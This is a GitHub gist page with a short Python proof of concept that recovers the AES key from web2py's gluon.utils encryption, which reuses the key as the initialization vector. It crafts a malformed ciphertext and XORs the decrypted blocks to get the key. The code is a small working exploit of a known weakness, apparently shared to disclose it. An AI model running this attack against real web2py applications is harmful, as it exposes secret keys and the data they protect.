Last active
December 11, 2015 19:38
-
-
Save mwielgoszewski/4649506 to your computer and use it in GitHub Desktop.
The following exploits AES constructions that use the Key as Initialization Vector. See http://www.gnu.org/software/shishi/manual/html_node/Key-as-initialization-vector.html for details.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from gluon.utils import AES_new | |
KEY = 'testtesttesttest' | |
PLAINTEXT = 'The quick brown fox jumped over the lazy dog.The quick brown fox' | |
def xor(a, b): | |
return bytearray(x ^ y for x, y in zip(a, b)) | |
def exploit(): | |
# ciphertext produced by web2py | |
ctext = bytearray(AES_new(KEY).encrypt(PLAINTEXT)) | |
# our (malformed) ciphertext we plan to feed to web2py | |
mtext = ctext[:16] * 4 | |
mtext[16:32] = [0x0] * 16 | |
# if at any point we identify what the decrypted data is | |
ptext = bytearray(AES_new(KEY).decrypt(str(mtext))) | |
# we can easily recover the secret key used: | |
print('KEY: %s' % (str(xor(ptext[:16], ptext[32:48])), )) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment